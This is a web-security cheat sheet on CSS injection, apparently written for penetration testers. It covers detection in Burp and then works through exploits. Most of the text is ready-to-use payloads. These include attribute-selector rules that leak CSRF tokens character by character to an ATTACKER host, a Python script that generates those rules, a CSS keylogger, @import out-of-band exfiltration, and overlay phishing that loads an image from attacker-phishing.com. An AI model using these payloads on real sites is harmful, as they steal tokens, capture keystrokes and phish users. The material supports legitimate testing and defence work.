CSS Injection
CSS injection for data exfiltration via attribute selectors, CSRF token extraction, keylogger via attribute selector polling, UI redressing, and CSP bypass via style-src. Detection and exploitation with Burp and manual PoC.
What is CSS Injection
CSS injection occurs when user-controlled input is reflected into a <style> block or inline style attribute without sanitisation. While CSS can’t execute JavaScript directly (in most contexts), it can:
- Exfiltrate data via attribute selectors + external requests
- Extract CSRF tokens character by character
- Perform UI redressing (overlay phishing)
- Bypass CSP when
style-src 'unsafe-inline'is set
Detection
Step 1 — Find CSS injection points
Look for user input reflected in:
<style>blocks:<style>body { color: USER_INPUT; }</style>style=attributes:<div style="color: USER_INPUT">- Custom theme/skin inputs
- URL hash parsed into CSS properties
Step 2 — Confirm injection
In Burp Repeater, inject:
;}body{background:red}
If the page background turns red → CSS injection confirmed.
Or inject a request to Burp Collaborator:
;}@import url(http://COLLABORATOR/confirm);
If Collaborator receives a DNS/HTTP ping → confirmed.
Exploit 1: CSRF Token Exfiltration via Attribute Selectors
If a CSRF token appears in the DOM as an input[value] or meta[content]:
<input type="hidden" name="csrf" value="aBcDeFgH">
CSS attribute selectors can match partial values:
input[name="csrf"][value^="a"] { background: url(http://ATTACKER/a); }
input[name="csrf"][value^="b"] { background: url(http://ATTACKER/b); }
input[name="csrf"][value^="c"] { background: url(http://ATTACKER/c); }
/* ... */
^= means “starts with”. Whichever selector fires (background request received) reveals the first character. Repeat for each position.
Generate all selectors for one position:
chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
known = 'aBcD' # already extracted
pos = len(known) + 1
css = ''
for c in chars:
prefix = known + c
css += f'input[name="csrf"][value^="{prefix}"] {{ background: url(http://ATTACKER/{prefix}); }}\n'
print(css)
Exploit 2: CSS Keylogger via Attribute Selectors
For input fields, each keypress updates value=. Use CSS to trigger a request for each character:
input[value$="a"] { background: url(http://ATTACKER/char?a); }
input[value$="b"] { background: url(http://ATTACKER/char?b); }
/* ... all characters */
$= means “ends with” — captures the most recently typed character.
Exploit 3: Data Exfiltration from Other Attributes
Extract href, src, action, name from elements:
a[href^="https://internal-"] { background: url(http://ATTACKER/found-internal); }
form[action="/admin"] { background: url(http://ATTACKER/admin-form-found); }
meta[name="description"][content^="SECRET_"] { background: url(http://ATTACKER/found); }
Exploit 4: UI Redressing / Overlay
Without JavaScript, CSS can overlay entire pages:
;}body::after {
content: "";
position: fixed;
top: 0; left: 0;
width: 100%; height: 100%;
background: url(https://attacker-phishing.com/fake-login.png);
z-index: 9999;
}
Or inject a fake login form:
;}input[type="password"] ~ * {
display: none !important;
}
;}body::before {
content: "Session expired. Please log in again.";
display: block;
font-size: 24px;
}
Exploit 5: @import for Out-of-Band Exfiltration
@import url(http://ATTACKER/exfil-page);
The browser fetches the URL — OOB confirmation even without visible effect.
For data exfiltration using @import chaining (requires server responding with CSS):
Server at ATTACKER receives the request, dynamically serves CSS based on what was found:
/* Response from ATTACKER/exfil-page */
@import url(http://ATTACKER/got-char?next=...);
CSP Bypass via style-src
If CSP blocks scripts but allows style-src 'unsafe-inline':
Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'
CSS injection is still possible to exfiltrate tokens even without JavaScript execution.
Burp Suite workflow
- Proxy — identify user input reflected in style blocks or attributes.
- Repeater — inject
;}body{background:red}and CSS Collaborator @import. - Collaborator — receive the exfiltrated characters via background-url requests.
- For CSRF token extraction: write a script to generate all attribute-selector CSS for each character position and inject it.
- DOM Invader — check if CSS sinks (
innerHTML→<style>) are reachable from DOM sources.